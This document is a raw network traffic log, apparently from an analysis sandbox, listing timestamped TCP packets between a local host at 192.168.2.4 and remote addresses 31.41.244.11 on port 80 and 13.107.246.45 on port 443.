Nov 18, 2024 23:04:11.350419044 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:11.350440025 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:11.350517035 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:11.350557089 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:11.350569963 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:11.350610971 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:11.350629091 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:11.350682020 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:11.357033014 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:11.357091904 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:11.357116938 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:11.357140064 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:11.357141972 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:11.357177973 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:11.357192039 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:11.357230902 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:11.357230902 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:11.357269049 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:11.357280970 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:11.357302904 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:11.357321024 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:11.357337952 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:11.357348919 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:11.357374907 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:11.357404947 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:11.357425928 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:11.357563019 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:11.357597113 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:11.357620001 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:11.357630968 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:11.357645035 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:11.357669115 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:11.357690096 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:11.357728004 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:11.357768059 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:11.357803106 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:11.357822895 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:11.357836008 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:11.357860088 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:11.357889891 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:11.389883041 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:11.389945030 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:11.389981031 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:11.389981031 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:11.390016079 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:11.390021086 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:11.390028954 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:11.390053988 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:11.390064001 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:11.390089989 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:11.390104055 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:11.390126944 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:11.390142918 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:11.390178919 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:11.390191078 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:11.390228033 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:11.390240908 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:11.390264034 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:11.390283108 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:11.390305996 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:11.390458107 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:11.390491009 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:11.390511990 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:11.390547037 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:11.390548944 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:11.390583992 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:11.390609980 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:11.390619993 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:11.390654087 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:11.390671968 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:11.401082039 CET	443	49810	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:11.401530981 CET	49810	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:11.401549101 CET	443	49810	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:11.401967049 CET	49810	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:11.401973963 CET	443	49810	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:11.437026978 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:11.437077045 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:11.437115908 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:11.437139034 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:11.437139034 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:11.437176943 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:11.440618992 CET	443	49809	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:11.441083908 CET	443	49809	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:11.441257000 CET	49809	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:11.441257954 CET	49809	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:11.441257954 CET	49809	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:11.443603039 CET	49814	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:11.443691015 CET	443	49814	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:11.443774939 CET	49814	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:11.443885088 CET	49814	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:11.443905115 CET	443	49814	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:11.469949961 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:11.470014095 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:11.470052004 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:11.470062017 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:11.470130920 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:11.470650911 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:11.470686913 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:11.470721960 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:11.470741987 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:11.470757008 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:11.470794916 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:11.470832109 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:11.470913887 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:11.477543116 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:11.477577925 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:11.477611065 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:11.477634907 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:11.477638960 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:11.477669954 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:11.477689981 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:11.477706909 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:11.477714062 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:11.477742910 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:11.477755070 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:11.477780104 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:11.477797031 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:11.477834940 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:11.477866888 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:11.477900982 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:11.477922916 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:11.477935076 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:11.477941990 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:11.477971077 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:11.477984905 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:11.478008032 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:11.478019953 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:11.478060007 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:11.478077888 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:11.478113890 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:11.478131056 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:11.478147984 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:11.478167057 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:11.478193045 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:11.510421038 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:11.510495901 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:11.510516882 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:11.510535002 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:11.510541916 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:11.510571003 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:11.510586977 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:11.510608912 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:11.510612011 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:11.510646105 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:11.510663033 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:11.510682106 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:11.510699034 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:11.510716915 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:11.510737896 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:11.510757923 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:11.510776997 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:11.510807991 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:11.510829926 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:11.510843039 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:11.510848045 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:11.510879993 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:11.510890961 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:11.510914087 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:11.510931969 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:11.510948896 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:11.510966063 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:11.510983944 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:11.511006117 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:11.511019945 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:11.511025906 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:11.511068106 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:11.511259079 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:11.511296034 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:11.511318922 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:11.511337042 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:11.511360884 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:11.511416912 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:11.540770054 CET	443	49810	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:11.540914059 CET	443	49810	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:11.540965080 CET	49810	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:11.540997028 CET	49810	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:11.541017056 CET	443	49810	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:11.541032076 CET	49810	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:11.541038990 CET	443	49810	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:11.543282032 CET	49815	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:11.543371916 CET	443	49815	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:11.543454885 CET	49815	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:11.543582916 CET	49815	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:11.543603897 CET	443	49815	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:11.558022976 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:11.558125019 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:11.558160067 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:11.558182001 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:11.558264017 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:11.585011005 CET	443	49811	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:11.585424900 CET	49811	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:11.585483074 CET	443	49811	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:11.585869074 CET	49811	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:11.585882902 CET	443	49811	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:11.596543074 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:11.596632957 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:11.604168892 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:11.604250908 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:11.615580082 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:11.615659952 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:11.624397993 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:11.624600887 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:11.627240896 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:11.627275944 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:11.627302885 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:11.627352953 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:11.632879019 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:11.632915020 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:11.632946968 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:11.632981062 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:11.638536930 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:11.638572931 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:11.638606071 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:11.638612986 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:11.638636112 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:11.638654947 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:11.644114971 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:11.644150972 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:11.644184113 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:11.644220114 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:11.649777889 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:11.649812937 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:11.649854898 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:11.649887085 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:11.656910896 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:11.656945944 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:11.656991005 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:11.656991005 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:11.661000013 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:11.661036968 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:11.661062956 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:11.661068916 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:11.661086082 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:11.661115885 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:11.665518045 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:11.665554047 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:11.665585995 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:11.665599108 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:11.665627956 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:11.665628910 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:11.670066118 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:11.670119047 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:11.670121908 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:11.670161963 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:11.674654007 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:11.674689054 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:11.674711943 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:11.674724102 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:11.674732924 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:11.674771070 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:11.679162979 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:11.679198027 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:11.679224014 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:11.679256916 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:11.683705091 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:11.683738947 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:11.683769941 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:11.683774948 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:11.683796883 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:11.683815002 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:11.687777996 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:11.687813997 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:11.687838078 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:11.687872887 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:11.691689968 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:11.691725016 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:11.691747904 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:11.691757917 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:11.691771030 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:11.691818953 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:11.695632935 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:11.695667982 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:11.695714951 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:11.695714951 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:11.699270964 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:11.699307919 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:11.699357986 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:11.699366093 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:11.699366093 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:11.699402094 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:11.702930927 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:11.702965975 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:11.702992916 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:11.703001022 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:11.703013897 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:11.703052044 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:11.706525087 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:11.706582069 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:11.715092897 CET	443	49812	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:11.715548038 CET	49812	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:11.715589046 CET	443	49812	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:11.715990067 CET	49812	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:11.716002941 CET	443	49812	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:11.716698885 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:11.716797113 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:11.717061043 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:11.717096090 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:11.717116117 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:11.717139006 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:11.719660044 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:11.719692945 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:11.719717979 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:11.719727039 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:11.719739914 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:11.719775915 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:11.721962929 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:11.721997976 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:11.722022057 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:11.722048998 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:11.724546909 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:11.724580050 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:11.724600077 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:11.724630117 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:11.727492094 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:11.727544069 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:11.727551937 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:11.727596998 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:11.730351925 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:11.730386972 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:11.730408907 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:11.730417967 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:11.730428934 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:11.730468035 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:11.732996941 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:11.733032942 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:11.733055115 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:11.733087063 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:11.734996080 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:11.735030890 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:11.735053062 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:11.735083103 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:11.737015009 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:11.737049103 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:11.737073898 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:11.737082958 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:11.737096071 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:11.737139940 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:11.739034891 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:11.739069939 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:11.739092112 CET	49794	80	192.168.2.4	31.41.244.11
